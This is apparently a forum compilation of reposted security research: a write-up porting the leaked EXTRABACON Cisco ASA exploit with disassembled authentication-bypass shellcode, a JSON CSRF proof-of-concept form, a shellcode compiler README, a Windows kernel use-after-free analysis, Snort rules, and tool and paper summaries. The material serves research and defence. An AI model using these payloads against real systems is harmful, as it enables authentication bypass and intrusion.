1500012 0x16E36C ELF 1501296 0x16E870 gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015 28192154 0x1AE2D9A Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll" 28773362 0x1B70BF2 Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll" The rootfs.img file starts from offset 0x16E36C (in this case) in gzipped form, the file itself is a CPIO archive that you can extract with the standard command line tool. The/asa/scripts/rcS file is responsible for starting up lina during init. This file conveniently contains a commented line that passes command line arguments for thelina_monitor executable so it’ll start up with a GDB server enabled: # Use -g to have system await gdb connect during boot. #echo "/asa/bin/lina_monitor -l -g -d" >> /tmp/run_cmd We modified the repack.sh script demonstrated by Alec to: Automatically find and carve out rootfs.img from the firmware image Unpack it Replace rcS so it’ll start up lina in debug mode Repack the rootfs Put the new rootfs archive back into the firmware binary using dd After replacing the original firmware image on the device lina will wait for GDB attach during startup: Process /asa/bin/lina created; pid = 518 Remote debugging using /dev/ttyS0 To continue execution, fire up GDB as root, and attach to the target over serial: (gdb) target remote /dev/ttyUSB0 Now you can interactively debug your device. And the good news is: this was the hard part Bacon and eggs When we started dealing with EXTRABACON our main question was how hard it could be to add support to newer firmware versions. For this reason we took a “hacky” approach and looked for the easiest way to approach the problem, without caring too much about Cisco internals or other in depth details. First let’s take a look at the directory structure: . ├── extrabacon_1.1.0.1.py ├── Mexeggs │ ├── all.py │ ├── argparse.py │ ├── hexdump.py │ ├── __init__.py │ ├── loglib.py │ ├── log.py │ ├── sploit.py │ └── version.py ├── scapy ... └── versions ├── shellcode_asa802.py ... └── shellcode_asa844.py As we can see, shellcode for different firmware versions are stored separately in the versions/ directory, the main exploit code in a single Python file,extrabacon_1.1.0.1.py. This indicates modular design and version control, one Little Sunshine for the authors! Mexeggs is a “mini-framework” for the exploit: it defines standard interfaces for the implementation and handles common tasks like argument parsing and logging (The default log directory is D:\DSZOPSDisk\logs, the logs are stored under the directory codenamed "concernedparent"). This enforces self-documentation and facilitates integration with other tools, another Little Sunshine. Because of modularity the main exploit script only concerns us as long as we fix up version detection in the Extrabacon.fw_version_check() function – many draw conclusions about code quality because of the longer elif statement structure here, but I’m perfectly fine with adding just two lines (that I can basically copy-paste) to the source without figuring out some clever solutionTM. Let’s take a look at the shellcode scripts! To have a sense about how much work is ahead, one can just do a byte-by-byte diff on the files, here’s a capture between 8.0(2) and 8.4(4), the first and last supported versions: What we can see is that the shellcode is mostly the same for both versions, there are only some 2-4 bytes differences (some addresses/offsets maybe? :). There is a clear difference in the my_ret_addr values in every version, but anyone who ever done this kind of exploitation would be really happy to see a variable name (and value) like this: After added the two lines for version detection we copied one of the original shellcode files with the name shellcode_asa924.py to the versions directory and defined the usual 0x41414141 value as my_ret_addr. After launching the exploit, we were awarded with a nice little SIGSEGV: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 523] 0x41414141 in ?? () (gdb) info reg eax 0x0 0 ecx 0xcbd65a48 -875144632 edx 0x0 0 ebx 0x90909090 -1869574000 esp 0xccb980e0 0xccb980e0 ebp 0x90909090 0x90909090 esi 0x90909090 -1869574000 edi 0x90909090 -1869574000 eip 0x41414141 0x41414141 eflags 0x213246 [ PF ZF IF #12 #13 RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) As we can see, this is a clear instruction pointer overwrite, the NOPed register values also suggest that we are facing a classic stack-based buffer overflow. Before you ask: no, Cisco didn’t employ any kind of exploit mitigation, we don’t have to come around stack canaries, and the memory layout of the system is the same on every instance with identical firmware versions, so we can party like in the ’90s! After a quick inspection of the memory it’s clear that other parts of the shellcode are present on the stack, and like in a textbook example ESP points right to the second fragment in the script called finder – the disassembly of this stage can be read below: $ rasm2 -d "\x8b\x7c\x24\x14\x8b\x07\xff\xe0\x90" mov edi, dword [esp + 0x14] mov eax, dword [edi] jmp eax nop This simple code dereferences a pointer on the stack twice to transfer execution for the second stage. This code could be reused without modification and was 100% reliable during our tests, we only had to set my_ret_addr to a fixed address pointing to a jmp espinstruction in the 9.2(4) lina binary. The second stage called preamble is also pretty simple: mov eax, 0xad47cc10 xor eax, 0xa5a5a5a5 ; EAX=8E269B5 sub esp, 4 mov dword [esp], eax mov ebp, esp add ebp, 0x48 xor eax, eax xor ebx, ebx mov bl, 0x10 xor esi, esi mov edi, 0xaaaaaaae xor edi, 0xa5a5a5a5 ; EDI=F0F0F0B push al This code fixes the corrupted stack frame (Little Sunshine for the tidy room!) and pushes some constants (one of them looks like a code pointer…) on the stack – more about these later. After this, launcher is executed: mov eax, dword [esp + 0x1e8] add al, 1 call eax This little one reads a pointer from the stack, adjusts it a bit then calls the resulting address. Since we didn’t know what kind of pointer we were looking for we uploaded old firmware matching one of the supported versions to our device and modified the corresponding shellcode fragments to start with the 0xCC opcode (INT 3) that triggers a memory dump (we were too lazy to patch this firmware too for remote debugging…). This way we could find out that the address launcher is looking for is pointing to our first actual payload PMCHECK_disable. The launcher didn’t work out-of-the-box, so we started to search the memory around ESP to find signs of the payload. For this we initially used the 0xa5a5a5a5 pattern that is used in numerous places as an XOR mask, then narrowed the search with longer patterns. After we found the start of the payload, we looked for values on the stack pointing close to it. Finally were able to make this stage work too with someminor modifications on the included offsets. The payload actually consists of two parts, PMCHECK_disable and AAAADMINAUTH_disablewhich work in a really similar fashion, so we’ll now just discuss the first one of these: mov edi, 0xa5a5a5a5 mov eax, 0xa5a5a5d8 xor eax, edi ; EAX=7D mov ebx, 0xacf065a5 xor ebx, edi ; EBX=955C000 mov ecx, 0xa5a5b5a5 xor ecx, edi ; ECX=1000 mov edx, 0xa5a5a5a2 xor edx, edi ; EDX=7 int 0x80 ; SYSCALL jmp 0x39 mov edi, 0x955c9f0 ; ADDRESS TO PATCH xor ecx, ecx mov cl, 4 cld rep movsb byte es:[edi], byte ptr [esi] ; BUFFER COPY jmp 0x42 pop esi jmp 0x25 call 0x36 xor eax, eax ; PATCH CODE inc eax ret The first part again unmasks some constant values then triggers a syscall. The syscall identifier is in EAX by convention, so what we’re basically doing is: sys_mprotect(start=0x955C000, len=0x1000, prot=0x7) …effectively setting a memory page containing 0x955c9f0 writable. Fortunately the corresponding firmware is also publicly available, after extraction and disassembly it’s clear that this address is the entry point of a function that is (surprise!) responsible for an authentication check. The end of the shellcode (“always return 1″) is then copied to this address with the rep movsb instruction, finally the shellcode forwards the execution to the AAAADMINAUTH_disable payload part, that does exactly the same with the AAA API of the firmware. This way critical authentication checks will always return SUCCESS, resulting in an authentication bypass. Please note that we’re now having arbitrary code execution, so this patchwork is just one of the possible things we could do. Unfortunately, performing networking from shellcode on ASA is not trivial (see the XI post for details), so this solution seems reasonable, one that is both compact and easy to adopt to new targets. We adopted this code by looking up the patched functions in the newer firmware. Although subgraph isomorphism is a hard problem, in practice (close to) identical code parts could be identified based on debug strings (there are a lot of these in the linabinary) and “unique looking” code patterns (we admit that for this second part you need some intuition and luck). In IDA the matching functions are visually very similar, it’s easy to recognize them once they are found. And once again, the great thing about the payload is that after the matching entry points are found, we only have to modify 2 constants, and we’re done. Or are we? Although at this point we’ve successfully executed our payload, and authentication is disabled, we can’t login to a device that has crashed because we started to execute some garbage from the stack (which is executable, if it wasn’t obvious until now :). Remember the constant that looked like a code pointer in the preamble? Well, this is exactly the address where our almost ready exploit crashes the target. If we take a look at the disassembly in the “old” lina, we can see, that this is an address right after a function call, possibly a call to a function, where the corruption occurred and after which we’d like to continue execution like nothing have happened. The process here was the same: look up the same function in the new binary, patch the constant address in the preamble, and our exploit works as expected. Summary All in all, to support a new version one has to: Find a JMP ESP address Fix up stack offsets Fix two hardcoded function entry addresses Fix the hardcoded return address Steps 1., 3. and 4. can be performed automatically via static analysis. In our case step 2. required some debugging, but with some better understanding of the code it really seems plausible to fully automate the process of shellcode generation. In fact, leaked shellcode files start with this comment: # # this file autogenerated, do not touch # It’s also important to note that we created the new exploit version without detailed root cause analysis, special tools or source code, based just on the information available in the leaked code and obtained through debugging and simple static binary analysis. Little Sunshine. Future work As we encounter ASA devices regularly during our pentest projects we want to continue the work to add support for as many affected versions as possible. For this we plan to automate most of the process of shellcode generation that looks like an exciting task. It’s also important to perform extensive reliability tests, because we don’t want to risk crashing the equipment of our customers. Although the original exploit is very reliable, the described process seems to introduce some uncertainty that is yet to be resolved. Detection, mitigation, solution? Cisco released a detailed blog post and security advisory about the vulnerability exploited by EXTRABACON confirming that all supported versions are vulnerable. As of the time of writing no patch is available, as Workaround the vendor recommends to restrict access to the SNMP interface and set up hard to guess community strings. Two notes on these workarounds: SNMP is a UDP based protocol that allows trivial source address spoofing. You should keep this in mind when designing/reviewing network level workarounds. Community strings are transferred in plain text on the network. We don’t expect the common community strings (like public) to go away any time soon. There are also Snort rules available, from which I could access the one from Emerging Threats (thanks Mario): alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA PMCHECK Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ac 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023070; rev:1;) alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA AAAADMINAUTH Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ad 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023071; rev:1;) (If you have access to the rules released by Cisco or other IDS/IPS signatures, please contact us!) This is clearly an attempt to catch one of the payloads by matching a signature, which can be trivially bypassed by changing the XOR mask, or change the sequence of some instructions (just to name a few methods). From forensics perspective, the "return 1" patches are clear indicators of compromise (the corresponding memory addresses can be extracted from the leaked files), although we have to stress that the known payloads are just some of the infinite possible ones. Before the publishing this post Cisco started to roll out patches for certain firmware versions – be sure to test and apply these on your equipment to thwart the attacks based on EXTRABACON! As the vendor started to systematically eradicate vulnerabilities, we expect the latest patches to include more than just this fix, that’d be an effort to be appreciated. However, in the long term up-to-date exploit mitigation techniques should be applied on ASA (and other) software to provide scalable protection for the platform, killing entire vulnerability classes and raising attacker cost. We’ll update this post as new relevant information emerges. Sursa: https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/

Posting JSON with an HTML Form 24 Aug 2016 in Security Tags: Hacks, Web Security A coworker and I were looking at an application today that, like so many other modern web applications, offers a RESTful API with JSON being used for serialization of requests/responses. She noted that the application didn’t include any sort of CSRF token and didn’t seem to use any of the headers (X-Requested-With, Referer, Origin, etc.) as a “poor man’s CSRF token”, but since it was posting JSON, was it really vulnerable to CSRF? Yes, yes, definitely yes! The idea that the use of a particular encoding is a security boundary is, at worst, a completely wrong notion of security, and at best, a stopgap until W3C, browser vendors, or a clever attacker gets hold of your API. Let’s examine JSON encoding as a protection against CSRF and demonstrate a mini-PoC. The Application We have a basic application written in Go. Authentication checking is elided for post size, but this is not just an unauthenticated endpoint. package main import ( "encoding/json" "fmt" "net/http" ) type Secrets struct { Secret int } var storage Secrets func handler(w http.ResponseWriter, r *http.Request) { if r.Method == "POST" { json.NewDecoder(r.Body).Decode(&storage) } fmt.Fprintf(w, "The secret is %d", storage.Secret) } func main() { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) } As you can see, it basically serves a secret number that can be updated via HTTP POST of a JSON object. If we attempt a URL-encoded or multipart POST, the JSON decoding fails miserably and the secret remains unchanged. We must POST JSON in order to get the secret value changed. Exploring Options So let’s explore our options here. The site can locally use AJAX via the XMLHTTPRequest API, but due to the Same-Origin Policy, an attacker’s site cannot use this. For most CSRF, the way to get around this is plain HTML forms, since form submission is not subject to the Same-Origin Policy. The W3C had a draft specification for JSON forms, but that has been abandoned since late 2015, and isn’t supported in any browsers. There are probably some techniques that can make use of Flash or other browser plugins (aren’t there always?) but it can even be done with basic forms, it just takes a little work. JSON in Forms Normally, if we try to POST JSON as, say, a form value, it ends up being URL encoded, not to mention including the field name. <form method='POST'> <input name='json' value='{"foo": "bar"}'> <input type='submit'> </form> Results in a POST body of: json=%7B%22foo%22%3A+%22bar%22%7D Good luck decoding that as JSON! Doing it as the form field name doesn’t get any better. %7B%22foo%22%3A+%22bar%22%7D=value It turns out you can set the enctype of your form to text/plain and avoid the URL encoding on the form data. At this point, you’ll get something like: json={"foo": "bar"} Unfortunately, we still have to contend with the form field name and the separator (=). This is a simple matter of splitting our payload across both the field name and value, and sticking the equals sign in an unused field. (Or you can use it as part of your payload if you need one.) Putting it All Together <body onload='document.forms[0].submit()'> <form method='POST' enctype='text/plain'> <input name='{"secret": 1337, "trash": "' value='"}'> </form> </body> This results in a request body of: {"secret": 1337, "trash": "="} This parses just fine and updates our secret! Sursa: https://systemoverlord.com/2016/08/24/posting-json-with-an-html-form.html

Cross Arch Shellcode Compiler 2016 - ixtyInformation This program allows to build portable, architecture independant shellcode from C code. It currently supports the following architectures: x86 x86_64 arm arm_64 It works by: compiling the same C code for each architecture linking it to arch specific syscall implementation using a polyglot dispatching shellcode The final layout of the output binary is: [ DISPATCHER ] [ X86 BLOCK ] [ X86_64 BLOCK ] [ ARM BLOCK ] [ ARM_64 BLOCK ] The dispatcher is in stage0 Open stage0/README for information on how it works Each arch specific block has the following layout: [ LOADER ] [ RELOC NUM ] [ RELOC 0 ] [ RELOC 1 ] ... [ RELOC N ] [ START OFF ] [ CODE ] Open stage1/README for information on loaders The final payload code is the stage2. Open stage2/README for information on the payloadDependencies python2.7 nasm gcc pyelftools (pip install pyelftools) qemu-user-static qemu-utils arm chroot with gcc arm64 chroot with gcc Assuming you use debian: # apt-get install gcc nasm python2.7 python-pip # apt-get install qemu qemu-user-static qemu-utils binfmt-support debootstrap # qemu-debootstrap --arch=arm64 jessie /opt/arm64/ http://ftp.debian.org/debian # qemu-debootstrap --arch=armhf jessie /opt/armhfxx/ http://ftp.debian.org/debian # chroot /opt/arm64 # apt-get install gcc # exit # chroot /opt/armhf # apt-get install gcc # exitRunning & testing $ ./build.py If everything goes well, it creates ./ouput which is the portable multi-arch shellcode. To test that everything works, use the provided 'sc' utility: On the local x86_64 machine user@x86_64-box $ ./sc_86 ./output user@x86_64-box $ ./sc_x86_64 ./output ... And in the chroots for arm/arm64 user@armhf-chroot $ ./sc_arm ./output user@arm64-chroot $ ./sc_arm_64 ./outputCredits Thanks to feliam https://github.com/feliam/mkShellcode http://blog.binamuse.com/2013/01/about-shellcodes-in-c.html The x86 / x86_64 loader code is taken from this project and the shellcode extraction technique is based upon his work aswell. Link: https://github.com/ixty/xarch_shellcode

Diaphora Diaphora (διαφορά, Greek for 'difference') is a program diffing plugin for IDA Pro, similar to Zynamics Bindiff or the FOSS counterparts DarunGrim, TurboDiff, etc... It was released during SyScan 2015. At the moment, it works with IDA Pro but support for Radare2 (and maybe Pyew or even Hopper) is also planned. For more details, please check the tutorial in the "doc" directory.Getting help and asking for features You can join the mailing list https://groups.google.com/forum/?hl=es#!forum/diaphora to ask for help, new features, report issues, etc... For reporting bugs, however, I recommend using the issues tracker:https://github.com/joxeankoret/diaphora/issues Please note that only the last 2 versions of IDA will be supported. As of today, it means that only 6.7 and 6.8 are supported. Version 6.6 "should work" (with all the last patches that were supplied to customers), but no support is offered for it. Documentation You can check the tutorial https://github.com/joxeankoret/diaphora/blob/master/doc/diaphora_help.pdfScreenshots This is a screenshot of Diaphora diffing the Microsoft bulletin MS15-034: These are some screenshots of Diaphora diffing the Microsoft bulletin MS15-050, extracted from the blog post Analyzing MS15-050 With Diaphora from Alex Ionescu. Link: https://github.com/joxeankoret/diaphora

Root Cause Analysis of Windows Kernel UAF Vulnerability lead to CVE-2016-3310 by Wayne Chin Yick Low | Aug 17, 2016 | Filed in: Security Research In the first quarter of 2016, we realized that there were tons of windows kernel use-after-free (UAF) vulnerability patches in Microsoft bulletins where most of the vulnerabilities came from Google Project Zero, which is favourable to us because we can easily access those proof-of-concepts (POC). While doing a root cause analysis of one of the UAF vulnerabilities stated in CVE-2015-6100, we discovered that there is an alternative way to trigger the same UAF vulnerability, even after the specified patch has been applied due to weak security fixes. In this blog post, we will discuss the journey of unveiling CVE-2016-3310 as specified in MS16-098 Root cause analysis of CVE-2015-6100 Before we started analysing the POC, we first enabled special pool on the target machine using verifier.exe to could help us to identify the exact faulty code that triggered the UAF. After special pool was set accordingly, we easily spotted the UAF by running the POC (please note that this analysis was performed on a Windows 7 x86 platform): eax=000013ec ebx=90a20402 ecx=fb864da8 edx=000019c8 esi=fab18728 edi=00000000 eip=90a30e64 esp=92cebcf8 ebp=92cebd08 iopl=0 nv up ei ng nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010282 win32k!DC::bMakeInfoDC+0xf5: 90a30e64 394120 cmp dword ptr [ecx+20h],eax ds:0023:fb864dc8=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 82931ce7 to 828cd308 STACK_TEXT: 92ceb7d4 82931ce7 00000003 12cf79fe 00000065 nt!RtlpBreakWithStatusInstruction 92ceb824 829327e5 00000003 00000000 000fb7f2 nt!KiBugCheckDebugBreak+0x1c 92cebbe8 828e03c1 00000050 fb864dc8 00000000 nt!KeBugCheck2+0x68b 92cebc6c 82892be8 00000000 fb864dc8 00000000 nt!MmAccessFault+0x104 92cebc6c 90a30e64 00000000 fb864dc8 00000000 nt!KiTrap0E+0xdc 92cebd08 90a20427 00000000 0027fb98 fab18728 win32k!DC::bMakeInfoDC+0xf5 92cebd24 8288fa06 1d210408 00000000 0027fbc0 win32k!NtGdiMakeInfoDC+0x25 92cebd24 76ec71b4 1d210408 00000000 0027fbc0 nt!KiSystemServicePostCall 0027fb84 75376f81 75367e2b 1d210408 00000000 ntdll!KiFastSystemCallRet 0027fb88 75367e2b 1d210408 00000000 00010000 GDI32!NtGdiMakeInfoDC+0xc 0027fbc0 75357a04 1d210408 0027fc28 010272f4 GDI32!MFP_StartPage+0x84 0027fbd8 00ff11e3 1d210408 000000f6 070c0ad7 GDI32!ExtFloodFill+0x93 Listing 1: Faulty code that trigger use-after-free vulnerability After some back-tracing, the offending code was found at win32k!DC::bMakeInfoDC. We were then able to determine that the freed object is a surface object (also known as a bitmap object in user-mode context), which is located at the HDCOBJ+1F8. Next, we tried to find out the type of the freed object. Note that at this point we disabled the special pool in the following WinDBG output in order to find out the object type of the pointer stored at HDCOBJ+1F8: win32k!DC::bMakeInfoDC+0xd3: 91440e42 8d8ef8010000 lea ecx,[esi+1F8h] kd> r eax=fe8b5ff0 ebx=91430402 ecx=00000030 edx=fe8bd170 esi=fe8b5728 edi=00000000 eip=91440e42 esp=96e43cf8 ebp=96e43d08 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 win32k!DC::bMakeInfoDC+0xd3: 91440e42 8d8ef8010000 lea ecx,[esi+1F8h] kd> .load pykd.pyd kd> dc fe8b5728 l1 fe8b5728 1a210433 3.!. kd> !py E:\_Scripts\_PyKd\findGDIAddressByGDIHandle.py -v 0x1a210433 PEB: 0x7ffde000 TEB: 0x7ffdf000 Process name: C:\Users\analyst\Desktop\cve-2015-6100-poc.exe GdiShareHandleTable (KM): 0xffffffffff810000 GdiShareHandleTable (UM): 0x520000 ======== Requested GDI object with handle (1a210433) ======== GDI_TABLE_ENTRY: pKernelAddress: 0xfe8b5728 wProcessId: 0x988 wCount: 0x0 wUpper: 0x1a21 wType: 0x4401 (DC) kd> p win32k!DC::bMakeInfoDC+0xd9: 91440e48 8911 mov dword ptr [ecx],edx kd> p win32k!DC::bMakeInfoDC+0xdb: 91440e4a 8bca mov ecx,edx kd> !pool fe8bd170 Pool page fe8bd170 region is Paged session pool fe8bd000 is not a valid large pool allocation, checking large session pool... fe8bd158 size: 8 previous size: 0 (Allocated) Frag fe8bd160 size: 8 previous size: 8 (Free) Free *fe8bd168 size: 260 previous size: 8 (Allocated) *Gla5 Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys fe8bd3c8 size: 620 previous size: 260 (Allocated) Gh14 fe8bd9e8 size: 30 previous size: 620 (Free) Geto fe8bda18 size: 5e8 previous size: 30 (Free ) Ussc Process: 86527918 Listing 2: Determine the freed object type One of the important questions that needed to be answered when it came to our vulnerability analysis is how did the UAF occur in the first place? If we look at the POC, we can see thegdi32!NtGdiStartPage call is wrapped around by a try-catch block. As commented by the POC, a user-mode exception occurs when the function gdi32!NtGdiStartPage is called. The following diagram depicts its call sequences: Figure 1: Call-sequences lead to user-mode exception In a nutshell, when we looked at the code where the user-mode exception occurred, we were able to determine that the UAF happened due to an invalid GDI object handle being passed to gdi32!NtGdiStartPage. Our findings were confirmed when we discovered that the CVE-2015-6100 patch contains additional code validating the GDI object handle value on the affected GDI functions after diffing against win32k.sys binaries (See Figure 2). Based on the diffing result, we knew that some of the affected GDI functions that can lead to the same user-mode exception include: win32k!NtGdiStartPage win32k!NtGdiEndPage win32k!GreStartDocInternal win32k!bEndDocInternal Figure 2: Unpatched win32k.sys 6.1.7601.18985 (left) VS patched win32k.sys 6.1.7601.19054 (right) Figure 3: win32k!NtGdiStartPage epilog Our next question was “when did the surface object pointed at HDCOBJ+1F8” get freed? In the event of the crash being handled by POC, it would continue to execute and return to the caller of the user-mode callback function user32!__ClientPrinterThunk. As demonstrated by the code block in Figure 3, we can clearly show that if the user-mode callback function has failed to execute properly and returns NULL, it will proceed to the branch loc_BF99F796 in an attempt to disable and then free the surface object. It is important to note that by disabling the surface object, it synonymously decreases the reference count of the target object stored at GDIOBJ+0x4, as seen in this example: Listing 3: Demonstrate the reference count and exclusive lock of a GDI object Some GDI objects can only be freed when the object reference count and its exclusive lock become NULL. This is exactly the routine carried out by win32k!bEndDocInternal upon returning from win32k!UMPDDrvStartPage. The following pseudo-code briefly illustrates the operations of win32k!bEndDocInternal: Listing 4: Pseudocode to show the operations of win32k!bEndDocInternal In short, the code figure above instructs another user-mode callback function to disable the surface object through win32k!UMPDDrvDisableSurface, which eventually triggers the user-mode callback to free the target surface object, as can be seen in the following call-stack: a1377c50 915ed154 76050364 00000000 00000001 win32k!HmgRemoveObject+0x7c a1377cf4 915ed000 00000000 00000000 0014d048 win32k!SURFACE::bDeleteSurface+0x143 a1377d08 915d7446 00000000 0014d048 fb1d8da8 win32k!SURFREF::bDeleteSurface+0x14 a1377d1c 916e3c8b 76050364 a1377d34 82892a06 win32k!bDeleteSurface+0x20 a1377d28 82892a06 76050364 0014d058 777871b4 win32k!NtGdiEngDeleteSurface+0x19 a1377d28 777871b4 76050364 0014d058 777871b4 nt!KiSystemServicePostCall 0014d038 779872a1 6d7ac504 76050364 00000000 ntdll!KiFastSystemCallRet 0014d03c 6d7ac504 76050364 00000000 76050364 GDI32!NtGdiEngDeleteSurface+0xc 0014d058 779519a2 002f2508 00000000 0014d8f4 mxdwdrv!DrvDisableSurface+0x6c 0014d08c 75a714bc 0014d8f4 0014d0a4 00000000 GDI32!GdiPrinterThunk+0x252 0014d8dc 777870ee 0014d8f4 00000018 0014d934 USER32!__ClientPrinterThunk+0x28 0014d908 7778555c 777870b8 00000000 00000000 ntdll!KiUserCallbackDispatcher+0x2e Listing 5: Call-stack when the surface object is freed upon calling win32k!UMPDDrvDisableSurface In summary, we drew the following conclusion on how and when the UAF occurred: When an invalid GDI object handle passed to GDI printing functions, it could cause user-mode code exception If the exception was handled by the program, one could free and delete the surface object specified in the device context via win32k!bEndDocInternal Afterwards, any GDI printing function call that dereferences the freed surface object will also lead to a use-after-free vulnerability Abusing user-mode callback leads to arbitrary free of GDI object – CVE-2016-3310 After some reverse-engineering, we discovered that one can free a surface object under a device context (DC) by calling either one of the following win32k GDI functions: win32k!NtGdiAbortDoc win32k!NtGdiEndDoc win32k!NtGdiStartPage To recap, the surface object is freed under win32k!NtGdiStartPage upon failing to execute the user-mode callback routine because of the access violation triggered inuser32!__ClientPrinterThunk when an invalid printer DC was passed to the function. If the exception is caught by the program, then the UAFvulnerability can be triggered. In the response from MSRC, the affected GDI functions were patched in such a way that the input DC handle is now being validated, and only printer DC is allowed to execute the identified routines. This seemed to be an easy and straight forward fix to prevent the surface object from being freed on demand. However there is alternative way to free the surface object. It’s worth mentioning here that every surface object stores a reference count and exclusive lock in order to prevent the object from being freed a user mode API call, like thegdi32!DeleteObject function. However, one can first disable the surface object and then free the surface object using user-mode API gdi32!DeleteObject. While there didn’t seem to be any apparent way to disable the surface object, we discovered that we could take advantage of one of the GDI functions highlighted in Figure 4 that would eventually callwin32k!PDEVOBJ::vDisableSurface to disable the target surface object. Figure 4: Xrefs of win32k!bEndDocInternal Either win32k!NtGdiAbortDoc or win32k!NtGdiEndDoc appeared to be a good candidate for us. However, there are some requirements that need to be met in order to properly lead us to the code path that will execute the win32k!PDEVOBJ::vDisableSurface function: Printer DC is needed The surface object pointer at HDC+1F8 cannot be NULL; it will be scrutinized in win32k!XDCOBJ::bValidSurf The first requirement can be easily achieved by creating a printer DC using “winspool” as a driver name in the CreateDC function. After further reverse-engineering to better understand the highlighted function in Listing 1, we realized that it plays a crucial role that could greatly help us achieve our second objective. In general, the steps can be summarized as follows: Get a printer DC and then start the print job. Call win32k!NtGdiMakeInfoDC to store the surface object pointer at HDC+0x8C8 to HDC+0x1F8 Hook user32!__ClientPrinterThunk. The hook handler will be triggered when win32k!NtGdiEndDoc is executed, and it then executes the win32k!NtGdiMakeInfoDC function to restore the surface object pointer from HDC+0x1F8 to HDC+0x8C8. At the epilogue of win32k!bEndDocInternal, the surface object reference count will then be disabled by decreasing the reference count to 0. From our controlled program, we were now able to free the disabled surface object simply by calling the gdi32!DeleteObject API function. Here is the result: STACK_COMMAND: kb FOLLOWUP_IP: win32k!DC::bMakeInfoDC+f5 945d2889 394120 cmp dword ptr [ecx+20h],eax SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: win32k!DC::bMakeInfoDC+f5 FOLLOWUP_NAME: MachineOwner IMAGE_VERSION: 6.1.7601.23452 FAILURE_BUCKET_ID: 0xD5_VRF_win32k!DC::bMakeInfoDC+f5 BUCKET_ID: 0xD5_VRF_win32k!DC::bMakeInfoDC+f5 ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:0xd5_vrf_win32k!dc::bmakeinfodc+f5 FAILURE_ID_HASH: {0a3b4edd-f3e1-fb09-5501-23e8947579df} Followup: MachineOwner --------- kd> lmvm win32k.sys start end module name kd> lmvm win32k. start end module name kd> lmvm win32k start end module name 94400000 9465d000 win32k (pdb symbols) e:\symbols\win32k.pdb\3B7E088E7D3E4382B161AA168A7C93872\win32k.pdb Loaded symbol image file: win32k.sys Image path: \SystemRoot\System32\win32k.sys Image name: win32k.sys Timestamp: Thu May 12 22:54:44 2016 (57349934) CheckSum: 002502B1 ImageSize: 0025D000 File version: 6.1.7601.23452 Product version: 6.1.7601.23452 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 3.7 Driver File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Microsoft® Windows® Operating System InternalName: win32k.sys OriginalFilename: win32k.sys ProductVersion: 6.1.7601.23452 FileVersion: 6.1.7601.23452 (win7sp1_ldr.160512-0600) FileDescription: Multi-User Win32 Driver LegalCopyright: © Microsoft Corporation. All rights reserved. In summary, the use-after-free (UAF) vulnerability in CVE-2016-3310 is somewhat related to the previously patched CVE-2015-6100 vulnerability, which is a low-hanging fruit opportunity that can be spotted by understanding the root cause of the original vulnerability through manual analysis, binary diffing, and code auditing. However, engineering bug-free software, especially for robust software, remains highly challenging, so we should not point the finger at any software vendors who puts software security as their first priority. At Fortinet, weactively participate in coordinated vulnerability disclosures with major software vendors to proactively protect end-users. Signing off -= FortiGuard Lion Team =- Sursa: https://blog.fortinet.com/2016/08/17/root-cause-analysis-of-windows-kernel-uaf-vulnerability-lead-to-cve-2016-3310

Keystroke Recognition Using WiFi Signals Kamran Ali† Alex X. Liu†‡ Wei Wang‡ Muhammad Shahzad† ABSTRACT Keystroke privacy is critical for ensuring the security of computer systems and the privacy of human users as what being typed could be passwords or privacy sensitive information. In this paper, we show for the first time that WiFi signals can also be exploited to recognize keystrokes. The intuition is that while typing a certain key, the hands and fingers of a user move in a unique formation and direction and thus generate a unique pattern in the time-series of Channel State Information (CSI) values, which we call CSI-waveform for that key. In this paper, we propose a WiFi signal based keystroke recognition system called WiKey. WiKey consists of two Commercial Off-The-Shelf (COTS) WiFi devices, a sender (such as a router) and a receiver (such as a laptop). The sender continuously emits signals and the receiver continuously receives signals. When a human subject types on a keyboard, WiKey recognizes the typed keys based on how the CSI values at the WiFi signal receiver end. We implemented the WiKey system using a TP-Link TL-WR1043ND WiFi router and a Lenovo X200 laptop. WiKey achieves more than 97.5% detection rate for detecting the keystroke and 96.4% recognition accuracy for classifying single keys. In real-world experiments, WiKey can recognize keystrokes in a continuously typed sentence with an accuracy of 93.5%. Download: https://www.sigmobile.org/mobicom/2015/papers/p90-aliA.pdf

